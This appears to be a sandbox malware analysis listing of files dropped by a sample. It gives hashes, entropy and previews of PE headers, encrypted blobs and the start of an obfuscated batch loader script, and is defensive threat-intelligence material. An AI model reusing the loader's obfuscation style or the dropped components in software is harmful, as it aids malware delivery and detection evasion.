Size (bytes):	893608
Entropy (8bit):	6.620254876639106
Encrypted:	false
SSDEEP:	12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
MD5:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
SHA1:	F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
SHA-256:	865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
SHA-512:	57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: JSWunwO4rS.lnk, Detection: malicious, Browse Filename: Yn13dTQdcW.exe, Detection: malicious, Browse Filename: DM6vAAgoCw.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Secure360 Innovations\V

Process:	C:\Users\user\AppData\Local\Temp\33988\Paintball.com
File Type:	data
Category:	dropped
Size (bytes):	721784
Entropy (8bit):	7.999710906856325
Encrypted:	true
SSDEEP:	12288:wibiGT++O7OMXvbXcBeClT0TlRIYK2u8NqWJCbpGTPJBJ5dM7OlXMaVWblulctsY:zTGdINT0TlBuMlCbpGTPJBndckcaVseq
MD5:	B2FF0600FDA096C51D9708E2EDDADE53
SHA1:	5E34CA4BBA9741256476E79E246ED5151C073C99
SHA-256:	8F8A0006C93FBC5FBD31147A1B967175C964ABB5F9DB8F639FCFC7840B241A24
SHA-512:	10B548431748F7DF91B37D16CCA716F63F9EEE93DB1082D895ADB4916593EF3F2051147AE07890C26976579C7BDB489C6026E39AA2E316439E85B3E469621636
Malicious:	false
Preview:	...@.y.2..w;sgn.A.6!#1k.5oE..PMz.D.n3'....c..O.u...W..qk6...>..&.......j/Hp..R .~.......77....3.<...r....c-/...Q..@{W.!.Oz....iX..,s..&.....4.......L<.U...wa.5.6.^..........`.l.'....f.k.l..q;...BI..+.Q...h)<..AqW..~L.r.........C"}L.1......0}./.}..;../..._......N..$...}.wo.Q....=..jNaMF..Y\.......k...Q.`I..Y.l...T,+..w.&r .q.X.^.xNeM.....H....8.m/...9........F.h....p..p...8..I/N..+...\>....^U..#.....2HJZ.....Xh@.(=t.p.1...Q%..h..[./{T.Hd........$}h..Ac.4.6j..V.F.Z,jz...1.......A..~O0.'hD._.M.8....[[%2]-P.`x0......:p.:4z<.M.q..).E.L...y....>.\]....1!. 3....-C..`..6.G"m}..{@.Hi.#.....D.U/UG..I.x..s.w^Z.:...3<...f....Yf^.q.9k.p..9WXH...Y.!......0.~J=..g.&p.(..M<...[...2CDSA.tW..ue.s.FW.dn..>c...5y..h...%s.....fC...Oyl..hU......X.ax.Z.x..<.U..}. ......5.....Hn...h..n.P../.R.s2<.5.yr..C.^Z.s...y...`..AAx0n.0.[.9.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..

C:\Users\user\AppData\Local\Temp\33988\Paintball.com

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	893608
Entropy (8bit):	6.620254876639106
Encrypted:	false
SSDEEP:	12288:DpVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31troPTdFqgaAV2M0L:DT3E53Myyzl0hMf1te7xaA8M0L
MD5:	6EE7DDEBFF0A2B78C7AC30F6E00D1D11
SHA1:	F2F57024C7CC3F9FF5F999EE20C4F5C38BFC20A2
SHA-256:	865347471135BB5459AD0E647E75A14AD91424B6F13A5C05D9ECD9183A8A1CF4
SHA-512:	57D56DE2BB882F491E633972003D7C6562EF2758C3731B913FF4D15379ADA575062F4DE2A48CA6D6D9241852A5B8A007F52792753FD8D8FEE85B9A218714EFD0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Joe Sandbox View:	Filename: Setup.exe, Detection: malicious, Browse Filename: 'Set-up.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: JSWunwO4rS.lnk, Detection: malicious, Browse Filename: Yn13dTQdcW.exe, Detection: malicious, Browse Filename: DM6vAAgoCw.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse Filename: Setup.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\33988\w

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	721784
Entropy (8bit):	7.999710906856325
Encrypted:	true
SSDEEP:	12288:wibiGT++O7OMXvbXcBeClT0TlRIYK2u8NqWJCbpGTPJBJ5dM7OlXMaVWblulctsY:zTGdINT0TlBuMlCbpGTPJBndckcaVseq
MD5:	B2FF0600FDA096C51D9708E2EDDADE53
SHA1:	5E34CA4BBA9741256476E79E246ED5151C073C99
SHA-256:	8F8A0006C93FBC5FBD31147A1B967175C964ABB5F9DB8F639FCFC7840B241A24
SHA-512:	10B548431748F7DF91B37D16CCA716F63F9EEE93DB1082D895ADB4916593EF3F2051147AE07890C26976579C7BDB489C6026E39AA2E316439E85B3E469621636
Malicious:	false
Preview:	...@.y.2..w;sgn.A.6!#1k.5oE..PMz.D.n3'....c..O.u...W..qk6...>..&.......j/Hp..R .~.......77....3.<...r....c-/...Q..@{W.!.Oz....iX..,s..&.....4.......L<.U...wa.5.6.^..........`.l.'....f.k.l..q;...BI..+.Q...h)<..AqW..~L.r.........C"}L.1......0}./.}..;../..._......N..$...}.wo.Q....=..jNaMF..Y\.......k...Q.`I..Y.l...T,+..w.&r .q.X.^.xNeM.....H....8.m/...9........F.h....p..p...8..I/N..+...\>....^U..#.....2HJZ.....Xh@.(=t.p.1...Q%..h..[./{T.Hd........$}h..Ac.4.6j..V.F.Z,jz...1.......A..~O0.'hD._.M.8....[[%2]-P.`x0......:p.:4z<.M.q..).E.L...y....>.\]....1!. 3....-C..`..6.G"m}..{@.Hi.#.....D.U/UG..I.x..s.w^Z.:...3<...f....Yf^.q.9k.p..9WXH...Y.!......0.~J=..g.&p.(..M<...[...2CDSA.tW..ue.s.FW.dn..>c...5y..h...%s.....fC...Oyl..hU......X.ax.Z.x..<.U..}. ......5.....Hn...h..n.P../.R.s2<.5.yr..C.^Z.s...y...`..AAx0n.0.[.9.HK..lJ..LS...H}AU3!EA06M..s$.<.z..g....kC.R.....:!.)......@...F..k;!..u:.=..3............d.a.Mb...l.t.jxI..8.v...r.T...txH..

C:\Users\user\AppData\Local\Temp\Albany

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	84992
Entropy (8bit):	7.997762968697265
Encrypted:	true
SSDEEP:	1536:m3dDdczf4L629u0Z5eD27FJJfStMypTtliYLncU2hdGyTEEC4AjZgoBM/LtfE3u5:mag229u0//BJst/pfiGn2hd+E/E7yTtF
MD5:	C3E50EF81367A341CF75DF50DEF52B2D
SHA1:	E0B0D31D00CFA6DD3E42C004CCE8F0B5E556DCC4
SHA-256:	64E68DF4C8F3F684E45D09422ADB521609539C518BB73D7749C88004573F3FA2
SHA-512:	94D920985B0DDE1A9F8647D5C732A7ADD05E5A6F501B02D9D511FC07CFA62394C7E25716AA880720AEF7C9C2568F696AAAA555A16EF5D5EC354FC44F2BA8CE1F
Malicious:	false
Preview:	.Sz..s.7.%...G.q....Y..6...X.X.....#tvUv.......e4.d{$.2..D.--.F.C.....:...t%x...Lh.y....cK.~P.J.I......%.8s.......,..-..#..p.[.;P...6,.V[..1..s.e.........r...8.q..0,MUF..'l.G.n..Y.R...u......?..m...Y........p..B.@.A.s.....)%...g..@.M......2i...........8.....L^56..q.c.;....mH..`...yI.....2XN...8.;........b^P./.Q...g.v,....a.v..`k....x.B.1...j......y.M.#$..._...9tOk.B(....._..KU.v_..$t.\|..m._.6..r......:B.Y.."..0.]y...d.>....i/.......z..ei..mX7/.."/._.....y......,{.G.;..e.i.h.c...... .....[q.B,...[.df[...Ii..[......g&....u.9.......N.....y..Ct...H g.-@...\|.G_c.W....B.8.)o...'.U.\h....{..]...x.v....,.L/.z.."F.."..n0.o....xbqI.$d.#.{...H.&. ..9.......n..@.{.....vf...U....\|...>..}i.C...y+.........zaF...k.p.Na.x...../...?..?\.^.....;...<...Y..@-....L.lI...........@...*#u..l... ..G.}7.XQ..A.YZ...+..B..-h0..Pd!<..J.#.nP.fY...C....)7.]6&.B...h..{......:a...3.....:7..Y.qBS.<#.\|...V~.....Y.C...l.f..j.MfnK..)...t..NX.I)K........qwp.\|......J..

C:\Users\user\AppData\Local\Temp\Automobile

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	87040
Entropy (8bit):	7.997589719549875
Encrypted:	true
SSDEEP:	1536:H1wrDdElrak3YGdEPv9MX8ykjEBR8sObIXCvfjUM4A/vCrRJR28+bgpC9:HOdEMkzdsmPkjEBCbIXu4A/vG2FbKc
MD5:	5AFD0C99996C2F5B79957D7E571805BE
SHA1:	8F46C56D8185362FD14A708BC536FEBF52AAB37F
SHA-256:	E228A8330C23B23181FAD534CE378D0E595B318797F4BFFB617F5A09D8084454
SHA-512:	C62F77E42F1DD64ACE9B6837AE149B0EB775ABAB91476EFF54D86D883BABC439EA096CC8DCF2508929D46BE6A362D6091FF6CFFD8B2E79F00BD359CC375648E9
Malicious:	false
Preview:	.._....2q..V.m%..4.......5...D%....&.f..a].e..`...p.{.(./O.....S_#......1...].p....]..t..n5.#...G..k.j..g..]..Y...S.....y..7`..6u.....n..\|....r..}..j..A..`4l.."....15K.e..Q..@....g2i.D..........d.d...-n.f..v.........Y..D.r...%....H}....m./U..sP.>...B#..(f.".kn....k.....V....0.X.o..HKA...uS...9......^cN.s...0%3.A..5...N...<43.h.$.0..N"........23.....;.g(....p..L.....^;c3.x.n.M..w...0&..4.Yl...Gl....0U......,).........z..w.....m....X`n..M..../\|.t`.D'+.0..........pV..G.WP.s_..2,......uS....Q.s..B...XT_l.W9..P@N.F...c0.J..^........tT'..q)......I.....iU....3y^..w...,.`Z.ii...>...rZ.}..+.....xw...d....0d.k..>..pm.&........&.~&R...=.c.&.7.....G....`n.g7+1$>..a.Fai............T..>.w.K.58.L3..o2.....%..A.A..S......F..W...p......_r...M...[]/.....WQc.....YW.1<...%........h0.%.(....l.m9.e......e..q....=....'..nV%d...U..W.w.@.........N.v.0....Q..S..Doe..#....d........&....N.cI.......gq.......f..{....@.a.....NJ.x.............H.h..4.m....Q

C:\Users\user\AppData\Local\Temp\Cancer

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	326656
Entropy (8bit):	6.6253169235444895
Encrypted:	false
SSDEEP:	6144:0i2VWTyFsJ8gNJBnGtINsegA/12vk6AQzyN:0pVWeOV7GtINsegA/hMyN
MD5:	95D5C71511485E0977F79BBCA432AB44
SHA1:	49FC139AD863EA70AAA7B74B6C69F79421849213
SHA-256:	17859A0845A3AA3B871802E39AAC960CA443BE9A5436D4930D11602FF16A5C8C
SHA-512:	18AB9362EA9B876E6BF7425C0215B7EF30834CDF819DE2C34FF3DD78950D22C2A6D2527E0BA8235A9BA6C5CBC8261BD4333635AF1CD04E9F3E9F1AB9162FDC8C
Malicious:	false
Preview:	EmergencyAdaptedResearchOrdinaryHeatherSuspendedHospitalsScanner..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L......Z.........."...............................@.................................Jo....@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B..............................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Devon

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	55296
Entropy (8bit):	7.996895581689359
Encrypted:	true
SSDEEP:	1536:Wm4+G6IoO4Sgi2/Afr6MQttiL9TZ0zDPSYH2AdmMopxOaaX:W1367O4cr6MQt4f0zDhHTQMVaaX
MD5:	F7E62BB95A24D3C390A038EB976AB39C
SHA1:	982EF476A20D9DC2B26342B455F3EC1A4436ADCC
SHA-256:	332F851F3454E797C9EB1AC4DEFADC0EDCD47FFE62711142360BD8ADEE1989C3
SHA-512:	D4E6E6BEE7F1B26357D9435856FBC9BAC2B208E6B2A87F7B0CA925B45AAD8D3157AA01CEE6FA1846E09C8F036127E322FFB748BC8313201624A8D5BBDD58CC33
Malicious:	false
Preview:	...P.m.p..O...m.:v......*..........?.T#v.gk'..8.=...0...@..V.$'P<9.#EJ.P#..7Z.w....q..[......%O>...M......$..OB....Ws.g.'.@..j}..W:......H\|$#j1p,...[..J.\?..v[0.i_...`..n....7..{..\|($.?..X.._.u.R...x..W.<..l...#.E.+.`.......'P.sa.g.M.........r.!8..(.....v.%..T...f ..H.;=S......O-.P......Zf.....Yr........9E!..F.i......i.....c....^....-..o......Jt..).\1..vty6....M.^.4.>..$W.]............#.J. .C7S,..s..z..>A..........H~.U+1.....6`.l\|......e.ir.N..\|Xg.$..bZ...Di......M..i .<.....n(.C.......Y......O%....Ta5&.,NBN6.~..Z..#.7..}b..@.[A..=.J.....'.F%..dt[..oZ.'nW.l..m.J.]....[..v.....)...')3.......15.e..Wl.l.D....b...y......j.<em...]..^.IP4.<L%.......".ru.0......j.a.#.\|..<.94...#....Qw..wlINZ...p..6.T\u.......J._./.d....i.L:.(.2=#g...6.w.......t]..s.).i.x3.(QW..Te.Ou.^..m.._...-..u(..3.....adv...0u..A....D4..`..Rj...1...+...<.@.....L.%..8.?d.....r.a...E.xw.6..a.......K:-.....e>..NO..Gr..@....a.r...............\..........X.A%..t#"X...h..

C:\Users\user\AppData\Local\Temp\Funeral

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	20344
Entropy (8bit):	7.989938961928867
Encrypted:	false
SSDEEP:	384:Ati+ZMwZcOk7adOMciZjH/W5yKWzVqn2vqY8ED9091eQJAlzXYPIR:1CnZhkudOMtjH/3jx+2/D29ADlDrR
MD5:	6828938F1AD5B911CE73AE4AD98DFC90
SHA1:	2C94D2E92256E7AACDAB7E2A27466D82B70096F8
SHA-256:	4BDDF31E02D4E2028F9938FBF0E77B1F41442141B513464529D0C53B30E92A50
SHA-512:	8EEF0510A53033213DE740C8B41C834220A8F449C208702D1EF66FFFA73C311CEF1499472AD43E87ECF77CAC6C1448DA5E3BDF42EEB71572034A98DFABB048B8
Malicious:	false
Preview:	\|@..~.".f.;..K1...J]..c..rA....P.:+...N..L..9s....0.Y.x..p......6...z...1...N.b..q....)..0...F...%...fH..A=....oD. .x.CMZ-w....d...F0\jPr$..r...p.<...K....h..sV..\.1......<O....l........tt.>...\|..$.__n..`.`I1....p!j..d...lI..5,a.=f....D....4.R.x5oO..^n........f..b....RJ.eQ....o..k.P.,..L..B..a.I.X..!.UW.1..c6.N\|..@..+.1cQ...@..?._..#>V0..Bv..._......>d.P./.A.D..T.5.........:.E..C.%#.?...Y.~u.4......F.!W.M8..n..Q...p..Z..3.P.`g6...Kl.X.g.Szu.5x.<...<..73%..9.%.......f?6].....z.M...K........ H...W.w...8.7j\|\....-.7.).h.%.E..b.OH...je+_&..M..../......cM..'..}U .s......q&.^.G..u.....1.$1XV...x....v^".3.\|....y.[..q.-.6jt.~.\@d.....R?zwKSF.U...E8.....u.F[.'M...nZ.6..%...w#....R...3{3..!n..Q]..C.....s.L{i....f...q.yt"w..bj.......~.hP.qe...e_h...9..rD...]%!7T.P^..9...N.i...'g..n..>.+/.6.`....]...n.~=\|......3...g@..?.*1.g.......$.y.L.{..0.."G...6c..96.2...>._..2..r<S2\..+...........Sj....x..zfZ....Ia...T.c..j.. v.6....A(....G.....T.'.O.,+.....S...

C:\Users\user\AppData\Local\Temp\Georgia

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.997963651959914
Encrypted:	true
SSDEEP:	1536:Pjjn40jC0LvzAoGw79xEd/IgmpyLZwNl0Ln8KU21iKXgy9+a+ULbw/d72m:Pjjn4yv8IMdoMalKe2Xgy8kLbE2m
MD5:	043E3B4E7A35B8E60502464E0C6CE00C
SHA1:	C77CE7D2B27B2E8DF3104B3ACBF2D5C16892599E
SHA-256:	716E1250DCDEA0C65DA29317D36F57C9FBFBB08633E6602DBBF13E6045D82386
SHA-512:	9A113F8B8E4A5098220C65E3BE85860A0911FBF7E8F665383605E3CDF5648415CD8F4C57DE845CCCCD4FB462A25D4A29FFB91C0DA81E0BBCD0A497CB333D53B1
Malicious:	false
Preview:	U.P...\|0.L....Q..Z).dJU...Y.D2....0.r.T/..vHI.8`.[ Cyc:.)..zq...y[...S.c..". ..Ov ...,...4C.u;..g..%.O..SM.+........U.+...[8&...5.....[....C...jf.o..p=."..%...+;5..5.C.\|HW..O.f.._K..i.9y.f.....a..2gB.)@R ....M.$.K..&pH.PP..}..z"......%.j.....8 .....u..P.1T.d..3....7..^.p..D....Qrr....U.m....).+.u..j._...CJ....M@n....:..s..#....F.....g.3....xz8>f.O\|i.X1....\|..'c.v.[..G..,.[.....j~...!.z..s.k...s....B.C...U....3=x.\|.BO9.....J+....U6.T.w!..o..5...d6.n/#.T.H.<_..o.J.B..1.*..}.i.~...mn..<.B.Cf.3i.B1#....9...J.H^..&w.......}...{...C...w..\b...-..SS^@.....;.............:_3NM..Z.".%.`..<..........{.....M...sb..k.M.Bb5.....J.{.B.....\|6.....$.?z.4......\|G.3....c..S.S...X...c2....5..U....Y....E./A.<...U{?...X...N.._d.O.Q..C<..],.t.bF,^@.\|.!..+.....(..e...........#.c.7.q......=.>.jL{.E.Y..=."Z......d...W..G.......q.A.&..{{.....NI,.{..J.....zp........K..4._..@V<....S......9x....Z...S{.w.y4...w.h2.?.Y]%.i.^......V$.a`H..w..!Z.0.M.{.:...E...PR.

C:\Users\user\AppData\Local\Temp\Guess

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.9977916130767115
Encrypted:	true
SSDEEP:	1536:zJu46ZH+tEUOsLd+ro8ezExGLvUwfRMeNn/kwaSLxdE065qr3C7CPMGP+l+jCTJO:zJaZAEUOCgELVpN/kS1e06oy7Cz+NJ0J
MD5:	508E9659524C26BECE1DCB56FD4ED434
SHA1:	508C414E66D6CE04C1C0F2D3C1847E340D23F0CF
SHA-256:	D72CB0BA935D8FF89EEA87E4623E55B60993460F42FF4F5BB014CF36832139A5
SHA-512:	7F12CFDE9840FA2721FBDC6B130CE316291B899CF83849957E2B1298192343200FC9C7D3D2826D4B30FB791A26F7E4189FCEF0B08945F9AB573E1D4E0196BFFC
Malicious:	false
Preview:	..;,HHj...........Ao6.3~.].1zx.A$.o.W..M.Ns..Y..`.C.....Wy.8)G1L.j..im&7O.n.H.KZ.6.......k..H.:.s.UC..b.zjC...{1..&..........t.`;%......6[..h...j..OL#'nB..J\.e......i.).!.t....o.....M.2....m8....g...R.j.....N.''.7),.B.wh.........._............y.n......'.Yu&1...#.'.k...)KP_....&...j..$..o...?...C..C..o..E&.V.......[(....4.tZ...k.....T..N..2.eH.....o.)..H..!.....`X..%...>...<..Z..bX./.=U..U.....].R.L..k.=3..",....`..m...n3._n.;.....<TW6.iM..z:.....T....].X..CI.M.9..2.6...Y..g.(t}#.3.v.....2o..mE64..+..9.-.0\Nw....V`K8201.#.2....d...5..o.....,...>o..u8..,...F.._.+...)6.CI{n8.c`.V4..........se......-.........V.p....k_p.J.:gu.R..:..]S.....v.4..e..V5>..g~.&..&.......+..T...oZ........v,...N..Dl......t..7BH..3..y4!.=^....{/....-...._W]x.l.h.m.....E\|...v^`.....]o'.....).o.`..c{H.U...=.y..z.L.Nb.t.@...........F...q..:..~..!X..u.....TM..k..~.J.....l....W....a.F.....ST..>.e..X..7.h....._..F...>5..<:<\......[4F...i....D#+=>.

C:\Users\user\AppData\Local\Temp\Hazards

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	ASCII text, with very long lines (813), with CRLF line terminators
Category:	dropped
Size (bytes):	16411
Entropy (8bit):	5.09523493213271
Encrypted:	false
SSDEEP:	384:fsmqxv7av+9R5qNqVZ0FOKKU/w5SCl5S+Fa:f3iv7aUR5qNqgFOKKU/ORrS+s
MD5:	FEA90EE4F7B41C990CCBFC1FE6CB36E2
SHA1:	27C232073D1AAE528370C5C445168C5F18A81393
SHA-256:	432282430DFDC908C5D10D815C2F209D2CF671729BEC700C141A7C15F086A625
SHA-512:	12DCE50983C4E5C3E88BA05A172AB611B50EDC91164253E465B3C4E6DB13EF825B0D57A1C0040F80AA97E4BF49EEA4BC8A50D1BA897DD2470BF600B87226B71E
Malicious:	false
Preview:	Set Saturn=7..gxnnAllowance-Retention-Somewhere-Medieval-Module-Reads-Coordinated-..puCOOnly-Congratulations-Collins-Search-Nike-Tractor-..cvEpinions-Nato-Yugoslavia-Deficit-Asin-Bases-Keeping-Whose-Flu-..ZkAFocal-Alpha-Byte-..BzfError-Alone-Playboy-..FmMeasurements-Engine-Escape-No-Sand-Llp-Voyeur-Monkey-..iOKCompetition-Hills-..Set Latinas=k..rgVCnet-Dice-..zaReceptors-Candles-Disabilities-..lVSystem-..KTTGCompensation-Max-Hole-Amd-Clause-Halfcom-Adjacent-Attraction-..AbDNSubmitted-Comply-..AQUNovel-Come-Diverse-Ky-Interesting-Current-Pop-Ensuring-..KlIeOman-..okXjHotel-Requested-Per-Packing-Challenges-Soldiers-..Set Visits=T..KzHouston-Southern-Newark-Assignments-Composed-Hide-Fire-..xmQDog-Situations-Roommate-Devon-Herein-Game-Cunt-Disc-Continuing-..DoRadios-..eQtSalt-..IeFNYeah-Infection-Qld-Decline-Will-Arabic-Ratio-Baseline-..Set Collect=N..uQUJSit-Seeing-San-Substantial-Name-Ps-Tgp-Xi-Pads-..oVKid-Merely-Speaks-Highlights-Comments-Draft-Capture-Instance-Stud-..bkSASinging-Wings

C:\Users\user\AppData\Local\Temp\Hazards.cmd

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (813), with CRLF line terminators
Category:	dropped
Size (bytes):	16411
Entropy (8bit):	5.09523493213271
Encrypted:	false
SSDEEP:	384:fsmqxv7av+9R5qNqVZ0FOKKU/w5SCl5S+Fa:f3iv7aUR5qNqgFOKKU/ORrS+s
MD5:	FEA90EE4F7B41C990CCBFC1FE6CB36E2
SHA1:	27C232073D1AAE528370C5C445168C5F18A81393
SHA-256:	432282430DFDC908C5D10D815C2F209D2CF671729BEC700C141A7C15F086A625
SHA-512:	12DCE50983C4E5C3E88BA05A172AB611B50EDC91164253E465B3C4E6DB13EF825B0D57A1C0040F80AA97E4BF49EEA4BC8A50D1BA897DD2470BF600B87226B71E
Malicious:	false
Preview:	Set Saturn=7..gxnnAllowance-Retention-Somewhere-Medieval-Module-Reads-Coordinated-..puCOOnly-Congratulations-Collins-Search-Nike-Tractor-..cvEpinions-Nato-Yugoslavia-Deficit-Asin-Bases-Keeping-Whose-Flu-..ZkAFocal-Alpha-Byte-..BzfError-Alone-Playboy-..FmMeasurements-Engine-Escape-No-Sand-Llp-Voyeur-Monkey-..iOKCompetition-Hills-..Set Latinas=k..rgVCnet-Dice-..zaReceptors-Candles-Disabilities-..lVSystem-..KTTGCompensation-Max-Hole-Amd-Clause-Halfcom-Adjacent-Attraction-..AbDNSubmitted-Comply-..AQUNovel-Come-Diverse-Ky-Interesting-Current-Pop-Ensuring-..KlIeOman-..okXjHotel-Requested-Per-Packing-Challenges-Soldiers-..Set Visits=T..KzHouston-Southern-Newark-Assignments-Composed-Hide-Fire-..xmQDog-Situations-Roommate-Devon-Herein-Game-Cunt-Disc-Continuing-..DoRadios-..eQtSalt-..IeFNYeah-Infection-Qld-Decline-Will-Arabic-Ratio-Baseline-..Set Collect=N..uQUJSit-Seeing-San-Substantial-Name-Ps-Tgp-Xi-Pads-..oVKid-Merely-Speaks-Highlights-Comments-Draft-Capture-Instance-Stud-..bkSASinging-Wings

C:\Users\user\AppData\Local\Temp\Hotels

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	60416
Entropy (8bit):	7.996667181499436
Encrypted:	true
SSDEEP:	1536:IPAHIwVUuJz/41eHm3miOnmZXZvBDCvEKN0DZilL:gykut/4cG2izZXZvBEjN0NilL
MD5:	A438B2533D1F397584A64B1930D0FB47
SHA1:	D49F34043B3DD87E61C293CCFD32793CB84E2C01
SHA-256:	45EA4B92260219F0F911A9F4E34D6E34A6ACDCE47BD4ADABFBE6A590CBF1B180
SHA-512:	1AEA810407FB14911BD7E9218831771CA7B5C8A25B560108387300D3A6DE4B12DC9D6D3DC7590F05324A8F9418839321C34727C846B2F5E63C1A45A166989674
Malicious:	false
Preview:	Um....o\|r..~I...&.....q.....\.......u.Z.....l._.e.\........../H.E_...!.>.L.....\...A..I...h.A.>..0.V.....9...^..4.w...hA..........A......"w<G.`..73...F"6s.{...Tv.9...`.g!b.....XA.w.Q..L....N5u7......Y?....V%..v..S..u..Vr...^4.G.l}.&l...f.....R9}...z.Gz.....@\i[6.B.B.s..b..<~ Z...2.(.z'l.._c.ip..,....t....?...7c.T_(.....Qr&\y..m.60%.O..3.....&..M.L.#.1....;+.......O.b.......?.F. ..c...<..O.....^m.-.W.....e.+{\.!.....I(..!..;.-.d.7...h.....UC..3l...2.".&Fb`.,c.!]...f..\|.zbi...wuq...n.v.W..GP.{^A..I.#....]e..!KnT.!.f.6."..+...".......<e....,...I.m.,........G}.x..Fwf.1....W,...]...z@Y.q..=..J ....qx..l.c>.....C...9...F.......S.>x.(...noy.R0+.<........pl..=......a..Sc...[...y.....%G!%V.Pc..>h. ..G&[#.......:p.-.'@.NN.sv.\|..e...9...>..7U]N....0j~.......3..T.....9...!.I..$Q.............. ...d.u.,.&'.@.obR-m.F9N.?z.[.:Ue ...4..\l.._v`...}.:.m....z..Dv..D.F...9.hI..W[..R..-]2..?G.....E.r.$..8.2....N..h.Er.*Obz 7+8F.NA...P..4...PM...p^q..a.i;....

C:\Users\user\AppData\Local\Temp\Increases

Process:	C:\Users\user\Desktop\sXpIsdpkzy.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.997632047466055
Encrypted:	true
SSDEEP:	1536:ApfRlAkWGmE2vxFoZWSO0920y/jGltPrMMYf1uPIMWlHjt6sFt:iMXvD+O3jgYf1/lR6sFt
MD5:	93AD89C806C4F0764E8EC1F2DA32CD00
SHA1:	E2D06933FA8593EAC974632C8DEB105DAB8A69D6
SHA-256:	30200F51A56EC16F0AA4FF3D6D2585556416DA1C8D121644A6A70BAF67ED00A9
SHA-512:	C60EC2AF7540802FAD89706E9C85348D3FAF3EFC2DA1F662B274B3717D487C7ADE374E4CA9CE1D9F91A3898E3F0E9C38C8A1D2648D9518B37BF52CDC5252E0A7
Malicious:	false
Preview:	.).aB.$.=...5?...H..@.H.U.2...V[>y.Jq...xvU8T....v.6.S...Od.:....M..1.D...........{.:....p..Og%?...!.......0..q....e.&..ry.Su..q;'xm...B..j`.Z.1.E...`q..E!...A0"V#.l.C.>Fr.y.(l.A...pB0....#.wb.!7.X@..}6..B...T..{+~._8...3vx.PQ..p<At....)4....I....tiX.<.v......D.+....qb>...q#I.MJd...D\|..q^...dm..(..GR.r...T....P(@B..........w..2.5.w/.Q. .........6.....1..<...@.S.d'.M.U.$.z.XTn..kPnWq#AV....s.....#...,..j..4(.....bS.....r..3v.....d?.k.Gnv...]E....G..a.4.is..U......od..3.!.i(.....m..q.....b..&Q...".cF.mS....).M\...e.P.......&..GJ..v.~........&Q6.~O.n...-k..._.........@..z..1~\.<..eF{}...T.=e...R.;.!....^.o. >....X...^k_>l....c.,.<.....0...D....T&\..#..TY..~.J._.C...f%/..U 